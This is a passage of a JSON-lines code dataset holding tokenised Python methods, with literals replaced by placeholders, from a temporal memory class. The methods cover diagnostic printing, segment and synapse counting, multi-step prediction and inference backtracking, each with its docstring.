"f17565:c0:m21"}
{"signature": "def printState(self, aState):", "body": "def formatRow(var, i):<EOL><INDENT>s = '<STR_LIT>'<EOL>for c in range(self.numberOfCols):<EOL><INDENT>if c > <NUM_LIT:0> and c % <NUM_LIT:10> == <NUM_LIT:0>:<EOL><INDENT>s += '<STR_LIT:U+0020>'<EOL><DEDENT>s += str(var[c, i])<EOL><DEDENT>s += '<STR_LIT:U+0020>'<EOL>return s<EOL><DEDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>print(formatRow(aState, i))<EOL><DEDENT>", "docstring": "Print an integer array that is the same shape as activeState.\n\n:param aState: TODO: document", "id": "f17565:c0:m22"}
{"signature": "def printConfidence(self, aState, maxCols = <NUM_LIT:20>):", "body": "def formatFPRow(var, i):<EOL><INDENT>s = '<STR_LIT>'<EOL>for c in range(min(maxCols, self.numberOfCols)):<EOL><INDENT>if c > <NUM_LIT:0> and c % <NUM_LIT:10> == <NUM_LIT:0>:<EOL><INDENT>s += '<STR_LIT:U+0020>'<EOL><DEDENT>s += '<STR_LIT>' % var[c, i]<EOL><DEDENT>s += '<STR_LIT:U+0020>'<EOL>return s<EOL><DEDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>print(formatFPRow(aState, i))<EOL><DEDENT>", "docstring": "Print a floating point array that is the same shape as activeState.\n\n:param aState: TODO: document\n:param maxCols: TODO: document", "id": "f17565:c0:m23"}
{"signature": "def printColConfidence(self, aState, maxCols = <NUM_LIT:20>):", "body": "def formatFPRow(var):<EOL><INDENT>s = '<STR_LIT>'<EOL>for c in range(min(maxCols, self.numberOfCols)):<EOL><INDENT>if c > <NUM_LIT:0> and c % <NUM_LIT:10> == <NUM_LIT:0>:<EOL><INDENT>s += '<STR_LIT:U+0020>'<EOL><DEDENT>s += '<STR_LIT>' % var[c]<EOL><DEDENT>s += '<STR_LIT:U+0020>'<EOL>return s<EOL><DEDENT>print(formatFPRow(aState))<EOL>", "docstring": "Print up to maxCols number from a flat floating point array.\n\n:param aState: TODO: document\n:param maxCols: TODO: document", "id": "f17565:c0:m24"}
{"signature": "def printStates(self, printPrevious = True, printLearnState = True):", "body": "def formatRow(var, i):<EOL><INDENT>s = '<STR_LIT>'<EOL>for c in range(self.numberOfCols):<EOL><INDENT>if c > <NUM_LIT:0> and c % <NUM_LIT:10> == <NUM_LIT:0>:<EOL><INDENT>s += '<STR_LIT:U+0020>'<EOL><DEDENT>s += str(var[c, i])<EOL><DEDENT>s += '<STR_LIT:U+0020>'<EOL>return s<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>if printPrevious:<EOL><INDENT>print(formatRow(self.infActiveState['<STR_LIT>'], i), end='<STR_LIT:U+0020>')<EOL><DEDENT>print(formatRow(self.infActiveState['<STR_LIT:t>'], i))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>if printPrevious:<EOL><INDENT>print(formatRow(self.infPredictedState['<STR_LIT>'], i), end='<STR_LIT:U+0020>')<EOL><DEDENT>print(formatRow(self.infPredictedState['<STR_LIT:t>'], i))<EOL><DEDENT>if printLearnState:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>if printPrevious:<EOL><INDENT>print(formatRow(self.lrnActiveState['<STR_LIT>'], i), end='<STR_LIT:U+0020>')<EOL><DEDENT>print(formatRow(self.lrnActiveState['<STR_LIT:t>'], i))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>if printPrevious:<EOL><INDENT>print(formatRow(self.lrnPredictedState['<STR_LIT>'], i), end='<STR_LIT:U+0020>')<EOL><DEDENT>print(formatRow(self.lrnPredictedState['<STR_LIT:t>'], i))<EOL><DEDENT><DEDENT>", "docstring": "TODO: document\n\n:param printPrevious: \n:param printLearnState: \n:return:", "id": "f17565:c0:m25"}
{"signature": "def printOutput(self, y):", "body": "print(\"<STR_LIT>\")<EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>for c in range(self.numberOfCols):<EOL><INDENT>print(int(y[c, i]), end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL><DEDENT>", "docstring": "TODO: document\n\n:param y: \n:return:", "id": "f17565:c0:m26"}
{"signature": "def printInput(self, x):", "body": "print(\"<STR_LIT>\")<EOL>for c in range(self.numberOfCols):<EOL><INDENT>print(int(x[c]), end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>", "docstring": "TODO: document\n\n:param x: \n:return:", "id": "f17565:c0:m27"}
{"signature": "def printParameters(self):", "body": "print(\"<STR_LIT>\", self.numberOfCols)<EOL>print(\"<STR_LIT>\", self.cellsPerColumn)<EOL>print(\"<STR_LIT>\", self.minThreshold)<EOL>print(\"<STR_LIT>\", self.newSynapseCount)<EOL>print(\"<STR_LIT>\", self.activationThreshold)<EOL>print()<EOL>print(\"<STR_LIT>\", self.initialPerm)<EOL>print(\"<STR_LIT>\", self.connectedPerm)<EOL>print(\"<STR_LIT>\", self.permanenceInc)<EOL>print(\"<STR_LIT>\", self.permanenceDec)<EOL>print(\"<STR_LIT>\", self.permanenceMax)<EOL>print(\"<STR_LIT>\", self.globalDecay)<EOL>print()<EOL>print(\"<STR_LIT>\", self.doPooling)<EOL>print(\"<STR_LIT>\", self.segUpdateValidDuration)<EOL>print(\"<STR_LIT>\", self.pamLength)<EOL>", "docstring": "Print the parameter settings for the TM.", "id": "f17565:c0:m28"}
{"signature": "def printActiveIndices(self, state, andValues=False):", "body": "if len(state.shape) == <NUM_LIT:2>:<EOL><INDENT>(cols, cellIdxs) = state.nonzero()<EOL><DEDENT>else:<EOL><INDENT>cols = state.nonzero()[<NUM_LIT:0>]<EOL>cellIdxs = numpy.zeros(len(cols))<EOL><DEDENT>if len(cols) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>prevCol = -<NUM_LIT:1><EOL>for (col, cellIdx) in zip(cols, cellIdxs):<EOL><INDENT>if col != prevCol:<EOL><INDENT>if prevCol != -<NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL><DEDENT>print(\"<STR_LIT>\" % (col), end='<STR_LIT:U+0020>')<EOL>prevCol = col<EOL><DEDENT>if andValues:<EOL><INDENT>if len(state.shape) == <NUM_LIT:2>:<EOL><INDENT>value = state[col, cellIdx]<EOL><DEDENT>else:<EOL><INDENT>value = state[col]<EOL><DEDENT>print(\"<STR_LIT>\" % (cellIdx, value), end='<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % (cellIdx), end='<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT>print(\"<STR_LIT:]>\")<EOL>", "docstring": "Print the list of ``[column, cellIdx]`` indices for each of the active cells \nin state.\n\n:param state: TODO: document\n:param andValues: TODO: document", "id": "f17565:c0:m29"}
{"signature": "def printComputeEnd(self, output, learn=False):", "body": "if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", learn)<EOL>print(\"<STR_LIT>\" % (<EOL>self.infActiveState['<STR_LIT:t>'].min(axis=<NUM_LIT:1>).sum()), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (<EOL>self._internalStats['<STR_LIT>']), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (<EOL>self._internalStats['<STR_LIT>']), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (<EOL><NUM_LIT:1> - self._internalStats['<STR_LIT>']))<EOL>print(\"<STR_LIT>\", self.getNumSegments(), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", self.avgLearnedSeqLength)<EOL>print(\"<STR_LIT>\" % (<EOL>self.infActiveState['<STR_LIT:t>'].sum()))<EOL>self.printActiveIndices(self.infActiveState['<STR_LIT:t>'])<EOL>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>self.printState(self.infActiveState['<STR_LIT:t>'])<EOL><DEDENT>print(\"<STR_LIT>\" % (<EOL>self.infPredictedState['<STR_LIT:t>'].sum()))<EOL>self.printActiveIndices(self.infPredictedState['<STR_LIT:t>'])<EOL>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>self.printState(self.infPredictedState['<STR_LIT:t>'])<EOL><DEDENT>print(\"<STR_LIT>\" % (<EOL>self.lrnActiveState['<STR_LIT:t>'].sum()))<EOL>self.printActiveIndices(self.lrnActiveState['<STR_LIT:t>'])<EOL>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>self.printState(self.lrnActiveState['<STR_LIT:t>'])<EOL><DEDENT>print(\"<STR_LIT>\" % (<EOL>self.lrnPredictedState['<STR_LIT:t>'].sum()))<EOL>self.printActiveIndices(self.lrnPredictedState['<STR_LIT:t>'])<EOL>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>self.printState(self.lrnPredictedState['<STR_LIT:t>'])<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>self.printActiveIndices(self.cellConfidence['<STR_LIT:t>'], andValues=True)<EOL>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>self.printConfidence(self.cellConfidence['<STR_LIT:t>'])<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>self.printActiveIndices(self.colConfidence['<STR_LIT:t>'], andValues=True)<EOL>print(\"<STR_LIT>\")<EOL>cc = self.cellConfidence['<STR_LIT>'] * self.infActiveState['<STR_LIT:t>']<EOL>self.printActiveIndices(cc, andValues=True)<EOL>if self.verbosity == <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printCells(predictedOnly=True)<EOL><DEDENT>elif self.verbosity >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printCells(predictedOnly=False)<EOL><DEDENT>print()<EOL><DEDENT>elif self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", learn)<EOL>print(\"<STR_LIT>\" % len(output.nonzero()[<NUM_LIT:0>]), end='<STR_LIT:U+0020>')<EOL>self.printActiveIndices(output.reshape(self.numberOfCols,<EOL>self.cellsPerColumn))<EOL><DEDENT>", "docstring": "Called at the end of inference to print out various diagnostic\ninformation based on the current verbosity level.\n\n:param output: TODO: document\n:param learn: TODO: document", "id": "f17565:c0:m30"}
{"signature": "def printSegmentUpdates(self):", "body": "print(\"<STR_LIT>\", len(self.segmentUpdates))<EOL>for key, updateList in self.segmentUpdates.items():<EOL><INDENT>c, i = key[<NUM_LIT:0>], key[<NUM_LIT:1>]<EOL>print(c, i, updateList)<EOL><DEDENT>", "docstring": "TODO: document\n\n:return:", "id": "f17565:c0:m31"}
{"signature": "def printCell(self, c, i, onlyActiveSegments=False):", "body": "if len(self.cells[c][i]) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", c, \"<STR_LIT>\", i, \"<STR_LIT::>\", end='<STR_LIT:U+0020>')<EOL>print(len(self.cells[c][i]), \"<STR_LIT>\")<EOL>for j, s in enumerate(self.cells[c][i]):<EOL><INDENT>isActive = self._isSegmentActive(s, self.infActiveState['<STR_LIT:t>'])<EOL>if not onlyActiveSegments or isActive:<EOL><INDENT>isActiveStr = \"<STR_LIT:*>\" if isActive else \"<STR_LIT:U+0020>\"<EOL>print(\"<STR_LIT>\" % (isActiveStr, j), end='<STR_LIT:U+0020>')<EOL>s.debugPrint()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "TODO: document\n\n:param c: \n:param i: \n:param onlyActiveSegments: \n:return:", "id": "f17565:c0:m32"}
{"signature": "def printCells(self, predictedOnly=False):", "body": "if predictedOnly:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\", self.activationThreshold, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", self.minThreshold, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", self.connectedPerm)<EOL>for c in range(self.numberOfCols):<EOL><INDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>if not predictedOnly or self.infPredictedState['<STR_LIT:t>'][c, i]:<EOL><INDENT>self.printCell(c, i, predictedOnly)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "TODO: document\n\n:param predictedOnly: \n:return:", "id": "f17565:c0:m33"}
{"signature": "def getNumSegmentsInCell(self, c, i):", "body": "return len(self.cells[c][i])<EOL>", "docstring": ":param c: (int) column index\n:param i: (int) cell index within column\n:returns: (int) the total number of synapses in cell (c, i)", "id": "f17565:c0:m34"}
{"signature": "def getNumSynapses(self):", "body": "nSyns = self.getSegmentInfo()[<NUM_LIT:1>]<EOL>return nSyns<EOL>", "docstring": ":returns: (int) the total number of synapses", "id": "f17565:c0:m35"}
{"signature": "def getNumSynapsesPerSegmentAvg(self):", "body": "return float(self.getNumSynapses()) / max(<NUM_LIT:1>, self.getNumSegments())<EOL>", "docstring": ":returns: (int) the average number of synapses per segment", "id": "f17565:c0:m36"}
{"signature": "def getNumSegments(self):", "body": "nSegs = self.getSegmentInfo()[<NUM_LIT:0>]<EOL>return nSegs<EOL>", "docstring": ":returns: (int) the total number of segments", "id": "f17565:c0:m37"}
{"signature": "def getNumCells(self):", "body": "return self.numberOfCols * self.cellsPerColumn<EOL>", "docstring": ":returns: (int) the total number of cells", "id": "f17565:c0:m38"}
{"signature": "def getSegmentOnCell(self, c, i, segIdx):", "body": "seg = self.cells[c][i][segIdx]<EOL>retlist = [[seg.segID, seg.isSequenceSeg, seg.positiveActivations,<EOL>seg.totalActivations, seg.lastActiveIteration,<EOL>seg._lastPosDutyCycle, seg._lastPosDutyCycleIteration]]<EOL>retlist += seg.syns<EOL>return retlist<EOL>", "docstring": ":param c: (int) column index\n:param i: (int) cell index in column\n:param segIdx: (int) segment index to match\n\n:returns: (list) representing the the segment on cell (c, i) with index \n    ``segIdx``.\n    ::\n\n      [  [segmentID, sequenceSegmentFlag, positiveActivations,\n          totalActivations, lastActiveIteration,\n          lastPosDutyCycle, lastPosDutyCycleIteration],\n         [col1, idx1, perm1],\n         [col2, idx2, perm2], ...\n      ]", "id": "f17565:c0:m39"}
{"signature": "def _addToSegmentUpdates(self, c, i, segUpdate):", "body": "<EOL>if segUpdate is None or len(segUpdate.activeSynapses) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>key = (c, i) <EOL>if key in self.segmentUpdates:<EOL><INDENT>self.segmentUpdates[key] += [(self.lrnIterationIdx, segUpdate)]<EOL><DEDENT>else:<EOL><INDENT>self.segmentUpdates[key] = [(self.lrnIterationIdx, segUpdate)]<EOL><DEDENT>", "docstring": "Store a dated potential segment update. The \"date\" (iteration index) is used\nlater to determine whether the update is too old and should be forgotten.\nThis is controlled by parameter ``segUpdateValidDuration``.\n\n:param c: TODO: document\n:param i: TODO: document\n:param segUpdate: TODO: document", "id": "f17565:c0:m40"}
{"signature": "def _removeSegmentUpdate(self, updateInfo):", "body": "<EOL>(creationDate, segUpdate) = updateInfo<EOL>key = (segUpdate.columnIdx, segUpdate.cellIdx)<EOL>self.segmentUpdates[key].remove(updateInfo)<EOL>", "docstring": "Remove a segment update (called when seg update expires or is processed)\n\n:param updateInfo: (tuple) (creationDate, SegmentUpdate)", "id": "f17565:c0:m41"}
{"signature": "def _computeOutput(self):", "body": "<EOL>if self.outputType == '<STR_LIT>':<EOL><INDENT>mostActiveCellPerCol = self.cellConfidence['<STR_LIT:t>'].argmax(axis=<NUM_LIT:1>)<EOL>self.currentOutput = numpy.zeros(self.infActiveState['<STR_LIT:t>'].shape,<EOL>dtype='<STR_LIT>')<EOL>numCols = self.currentOutput.shape[<NUM_LIT:0>]<EOL>self.currentOutput[(range(numCols), mostActiveCellPerCol)] = <NUM_LIT:1><EOL>activeCols = self.infActiveState['<STR_LIT:t>'].max(axis=<NUM_LIT:1>)<EOL>inactiveCols = numpy.where(activeCols==<NUM_LIT:0>)[<NUM_LIT:0>]<EOL>self.currentOutput[inactiveCols, :] = <NUM_LIT:0><EOL><DEDENT>elif self.outputType == '<STR_LIT>':<EOL><INDENT>self.currentOutput = self.infActiveState['<STR_LIT:t>']<EOL><DEDENT>elif self.outputType == '<STR_LIT>':<EOL><INDENT>self.currentOutput = numpy.logical_or(self.infPredictedState['<STR_LIT:t>'],<EOL>self.infActiveState['<STR_LIT:t>'])<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return self.currentOutput.reshape(-<NUM_LIT:1>).astype('<STR_LIT>')<EOL>", "docstring": "Computes output for both learning and inference. In both cases, the\noutput is the boolean OR of ``activeState`` and ``predictedState`` at ``t``.\nStores ``currentOutput`` for ``checkPrediction``.\n\n:returns: TODO: document", "id": "f17565:c0:m42"}
{"signature": "def _getActiveState(self):", "body": "<EOL>return self.infActiveState['<STR_LIT:t>'].reshape(-<NUM_LIT:1>).astype('<STR_LIT>')<EOL>", "docstring": "Return the current active state. This is called by the node to\nobtain the sequence output of the TM.\n\n:returns: TODO: document", "id": "f17565:c0:m43"}
{"signature": "def getPredictedState(self):", "body": "return self.infPredictedState['<STR_LIT:t>']<EOL>", "docstring": ":returns: numpy array of predicted cells, representing the current predicted\n  state. ``predictedCells[c][i]`` represents the state of the i'th cell in \n  the c'th column.", "id": "f17565:c0:m44"}
{"signature": "def predict(self, nSteps):", "body": "<EOL>pristineTPDynamicState = self._getTPDynamicState()<EOL>assert (nSteps><NUM_LIT:0>)<EOL>multiStepColumnPredictions = numpy.zeros((nSteps, self.numberOfCols),<EOL>dtype=\"<STR_LIT>\")<EOL>step = <NUM_LIT:0><EOL>while True:<EOL><INDENT>multiStepColumnPredictions[step, :] = self.topDownCompute()<EOL>if step == nSteps-<NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>step += <NUM_LIT:1><EOL>self.infActiveState['<STR_LIT>'][:, :] = self.infActiveState['<STR_LIT:t>'][:, :]<EOL>self.infPredictedState['<STR_LIT>'][:, :] = self.infPredictedState['<STR_LIT:t>'][:, :]<EOL>self.cellConfidence['<STR_LIT>'][:, :] = self.cellConfidence['<STR_LIT:t>'][:, :]<EOL>self.infActiveState['<STR_LIT:t>'][:, :] = self.infPredictedState['<STR_LIT>'][:, :]<EOL>self.infPredictedState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.cellConfidence['<STR_LIT:t>'].fill(<NUM_LIT:0.0>)<EOL>self._inferPhase2()<EOL><DEDENT>self._setTPDynamicState(pristineTPDynamicState)<EOL>return multiStepColumnPredictions<EOL>", "docstring": "This function gives the future predictions for <nSteps> timesteps starting\nfrom the current TM state. The TM is returned to its original state at the\nend before returning.\n\n1. We save the TM state.\n2. Loop for nSteps\n\n   a. Turn-on with lateral support from the current active cells\n   b. Set the predicted cells as the next step's active cells. This step\n      in learn and infer methods use input here to correct the predictions.\n      We don't use any input here.\n\n3. Revert back the TM state to the time before prediction\n\n:param nSteps: (int) The number of future time steps to be predicted\n:returns: all the future predictions - a numpy array of type \"float32\" and\n      shape (nSteps, numberOfCols). The ith row gives the tm prediction for \n      each column at a future timestep (t+i+1).", "id": "f17565:c0:m45"}
{"signature": "def _getTPDynamicStateVariableNames(self):", "body": "return [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>]<EOL>", "docstring": "Any newly added dynamic states in the TM should be added to this list.\n\nParameters:\n--------------------------------------------\nretval:       The list of names of TM dynamic state variables.", "id": "f17565:c0:m46"}
{"signature": "def _getTPDynamicState(self,):", "body": "tpDynamicState = dict()<EOL>for variableName in self._getTPDynamicStateVariableNames():<EOL><INDENT>tpDynamicState[variableName] = copy.deepcopy(self.__dict__[variableName])<EOL><DEDENT>return tpDynamicState<EOL>", "docstring": "Parameters:\n--------------------------------------------\nretval:       A dict with all the dynamic state variable names as keys and\n              their values at this instant as values.", "id": "f17565:c0:m47"}
{"signature": "def _setTPDynamicState(self, tpDynamicState):", "body": "for variableName in self._getTPDynamicStateVariableNames():<EOL><INDENT>self.__dict__[variableName] = tpDynamicState.pop(variableName)<EOL><DEDENT>", "docstring": "Set all the dynamic state variables from the <tpDynamicState> dict.\n\n<tpDynamicState> dict has all the dynamic state variable names as keys and\ntheir values at this instant as values.\n\nWe set the dynamic state variables in the tm object with these items.", "id": "f17565:c0:m48"}
{"signature": "def _updateAvgLearnedSeqLength(self, prevSeqLength):", "body": "if self.lrnIterationIdx < <NUM_LIT:100>:<EOL><INDENT>alpha = <NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>alpha = <NUM_LIT:0.1><EOL><DEDENT>self.avgLearnedSeqLength = ((<NUM_LIT:1.0> - alpha) * self.avgLearnedSeqLength +<EOL>(alpha * prevSeqLength))<EOL>", "docstring": "Update our moving average of learned sequence length.", "id": "f17565:c0:m49"}
{"signature": "def getAvgLearnedSeqLength(self):", "body": "return self.avgLearnedSeqLength<EOL>", "docstring": ":returns: Moving average of learned sequence length", "id": "f17565:c0:m50"}
{"signature": "def _inferBacktrack(self, activeColumns):", "body": "<EOL>numPrevPatterns = len(self._prevInfPatterns)<EOL>if numPrevPatterns <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>currentTimeStepsOffset = numPrevPatterns - <NUM_LIT:1><EOL>self.infActiveState['<STR_LIT>'][:, :] = self.infActiveState['<STR_LIT:t>'][:, :]<EOL>self.infPredictedState['<STR_LIT>'][:, :] = self.infPredictedState['<STR_LIT>'][:, :]<EOL>badPatterns = []<EOL>inSequence = False<EOL>candConfidence = None<EOL>candStartOffset = None<EOL>for startOffset in range(<NUM_LIT:0>, numPrevPatterns):<EOL><INDENT>if startOffset == currentTimeStepsOffset and candConfidence is not None:<EOL><INDENT>break<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((<EOL>\"<STR_LIT>\" % (<EOL>numPrevPatterns - <NUM_LIT:1> - startOffset),<EOL>self._prevInfPatterns[startOffset]))<EOL><DEDENT>inSequence = False<EOL>for offset in range(startOffset, numPrevPatterns):<EOL><INDENT>if offset == currentTimeStepsOffset:<EOL><INDENT>totalConfidence = self.colConfidence['<STR_LIT:t>'][activeColumns].sum()<EOL><DEDENT>self.infPredictedState['<STR_LIT>'][:, :] = self.infPredictedState['<STR_LIT:t>'][:, :]<EOL>inSequence = self._inferPhase1(self._prevInfPatterns[offset],<EOL>useStartCells = (offset == startOffset))<EOL>if not inSequence:<EOL><INDENT>break<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((\"<STR_LIT>\",<EOL>self._prevInfPatterns[offset]))<EOL><DEDENT>inSequence = self._inferPhase2()<EOL>if not inSequence:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not inSequence:<EOL><INDENT>badPatterns.append(startOffset)<EOL>continue<EOL><DEDENT>candConfidence = totalConfidence<EOL>candStartOffset = startOffset<EOL>if self.verbosity >= <NUM_LIT:3> and startOffset != currentTimeStepsOffset:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (numPrevPatterns - <NUM_LIT:1> - startOffset),<EOL>totalConfidence))<EOL><DEDENT>if candStartOffset == currentTimeStepsOffset:  <EOL><INDENT>break<EOL><DEDENT>self.infActiveState['<STR_LIT>'][:, :] = self.infActiveState['<STR_LIT:t>'][:, :]<EOL>self.infPredictedState['<STR_LIT>'][:, :] = (<EOL>self.infPredictedState['<STR_LIT:t>'][:, :])<EOL>self.cellConfidence['<STR_LIT>'][:, :] = self.cellConfidence['<STR_LIT:t>'][:, :]<EOL>self.colConfidence['<STR_LIT>'][:] = self.colConfidence['<STR_LIT:t>'][:]<EOL>break<EOL><DEDENT>if candStartOffset is None:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self.infActiveState['<STR_LIT:t>'][:, :] = self.infActiveState['<STR_LIT>'][:, :]<EOL>self._inferPhase2()<EOL><DEDENT>else:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (numPrevPatterns - <NUM_LIT:1> - candStartOffset),<EOL>self._prevInfPatterns[candStartOffset]))<EOL><DEDENT>if candStartOffset != currentTimeStepsOffset:<EOL><INDENT>self.infActiveState['<STR_LIT:t>'][:, :] = self.infActiveState['<STR_LIT>'][:, :]<EOL>self.infPredictedState['<STR_LIT:t>'][:, :] = (<EOL>self.infPredictedState['<STR_LIT>'][:, :])<EOL>self.cellConfidence['<STR_LIT:t>'][:, :] = self.cellConfidence['<STR_LIT>'][:, :]<EOL>self.colConfidence['<STR_LIT:t>'][:] = self.colConfidence['<STR_LIT>'][:]<EOL><DEDENT><DEDENT>for i in range(numPrevPatterns):<EOL><INDENT>if (i in badPatterns or<EOL>(candStartOffset is not None and i <= candStartOffset)):<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((\"<STR_LIT>\",<EOL>self._prevInfPatterns[<NUM_LIT:0>]))<EOL><DEDENT>self._prevInfPatterns.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>self.infPredictedState['<STR_LIT>'][:, :] = self.infPredictedState['<STR_LIT>'][:, :]<EOL>", "docstring": "This \"backtracks\" our inference state, trying to see if we can lock onto\nthe current set of inputs by assuming the sequence started up to N steps\nago on start cells.\n\nThis will adjust @ref infActiveState['t'] if it does manage to lock on to a\nsequence that started earlier. It will also compute infPredictedState['t']\nbased on the possibly updated @ref infActiveState['t'], so there is no need to\ncall inferPhase2() after calling inferBacktrack().\n\nThis looks at:\n    - ``infActiveState['t']``\n\nThis updates/modifies:\n    - ``infActiveState['t']``\n    - ``infPredictedState['t']``\n    - ``colConfidence['t']``\n    - ``cellConfidence['t']``\n\nHow it works:\n\nThis method gets called from :meth:`updateInferenceState` when we detect \neither of the following two conditions:\n\n#. The current bottom-up input had too many un-expected columns\n#. We fail to generate a sufficient number of predicted columns for the\n   next time step.\n\nEither of these two conditions indicate that we have fallen out of a\nlearned sequence.\n\nRather than simply \"giving up\" and bursting on the unexpected input\ncolumns, a better approach is to see if perhaps we are in a sequence that\nstarted a few steps ago. The real world analogy is that you are driving\nalong and suddenly hit a dead-end, you will typically go back a few turns\nago and pick up again from a familiar intersection.\n\nThis back-tracking goes hand in hand with our learning methodology, which\nalways tries to learn again from start cells after it loses context. This\nresults in a network that has learned multiple, overlapping paths through\nthe input data, each starting at different points. The lower the global\ndecay and the more repeatability in the data, the longer each of these\npaths will end up being.\n\nThe goal of this function is to find out which starting point in the past\nleads to the current input with the most context as possible. This gives us\nthe best chance of predicting accurately going forward. Consider the\nfollowing example, where you have learned the following sub-sequences which\nhave the given frequencies:\n\n::\n\n              ? - Q - C - D - E      10X      seq 0\n              ? - B - C - D - F      1X       seq 1\n              ? - B - C - H - I      2X       seq 2\n              ? - B - C - D - F      3X       seq 3\n      ? - Z - A - B - C - D - J      2X       seq 4\n      ? - Z - A - B - C - H - I      1X       seq 5\n      ? - Y - A - B - C - D - F      3X       seq 6\n\n    ----------------------------------------\n  W - X - Z - A - B - C - D          <= input history\n                          ^\n                          current time step\n\nSuppose, in the current time step, the input pattern is D and you have not\npredicted D, so you need to backtrack. Suppose we can backtrack up to 6\nsteps in the past, which path should we choose? From the table above, we can\nsee that the correct answer is to assume we are in seq 4. How do we\nimplement the backtrack to give us this right answer? The current\nimplementation takes the following approach:\n\n#. Start from the farthest point in the past.\n#. For each starting point S, calculate the confidence of the current\n   input, conf(startingPoint=S), assuming we followed that sequence.\n   Note that we must have learned at least one sequence that starts at\n   point S.\n#. If conf(startingPoint=S) is significantly different from\n   conf(startingPoint=S-1), then choose S-1 as the starting point.\n\nThe assumption here is that starting point S-1 is the starting point of\na learned sub-sequence that includes the current input in it's path and\nthat started the longest ago. It thus has the most context and will be\nthe best predictor going forward.\n\nFrom the statistics in the above table, we can compute what the confidences\nwill be for each possible starting point:\n\n::\n\n  startingPoint           confidence of D\n  -----------------------------------------\n  B (t-2)               4/6  = 0.667   (seq 1,3)/(seq 1,2,3)\n  Z (t-4)               2/3  = 0.667   (seq 4)/(seq 4,5)\n\nFirst of all, we do not compute any confidences at starting points t-1, t-3,\nt-5, t-6 because there are no learned sequences that start at those points.\n\nNotice here that Z is the starting point of the longest sub-sequence leading\nup to the current input. Event though starting at t-2 and starting at t-4\ngive the same confidence value, we choose the sequence starting at t-4\nbecause it gives the most context, and it mirrors the way that learning\nextends sequences.\n\n:param activeColumns: (list) of active column indices", "id": "f17565:c0:m51"}
